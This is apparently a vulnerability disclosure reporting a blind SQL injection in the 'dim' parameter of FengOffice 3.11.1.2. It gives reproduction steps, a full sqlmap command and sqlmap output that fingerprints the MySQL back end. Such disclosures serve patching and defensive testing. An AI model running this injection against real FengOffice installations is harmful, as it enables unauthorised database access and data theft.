Authored by Andrey Stoykov

FengOffice version 3.11.1.2 suffers from a remote blind SQL injection vulnerability.

# Exploit Title: FengOffice - Blind SQL Injection
# Date: 06/2024
# Exploit Author: Andrey Stoykov
# Version: 3.11.1.2
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2024/05/friday-fun-pentest-series-6.html

Steps to Reproduce:


1. Login to application
2. Click on "Workspaces"
3. Copy full URL
4. Paste the HTTP GET request into text file
5. Set the injection point to be in the "dim" parameter value
6. Use SQLMap to automate the process


sqlmap -r request.txt --threads 1 --level 5 --risk 3 --dbms=mysql -p dim
--fingerprint

[...]
[12:13:03] [INFO] confirming MySQL
[12:13:04] [INFO] the back-end DBMS is MySQL
[12:13:04] [INFO] actively fingerprinting MySQL
[12:13:05] [INFO] executing MySQL comment injection fingerprint
web application technology: Apache
back-end DBMS: active fingerprint: MySQL >= 5.7
comment injection fingerprint: MySQL 5.7.37
[...]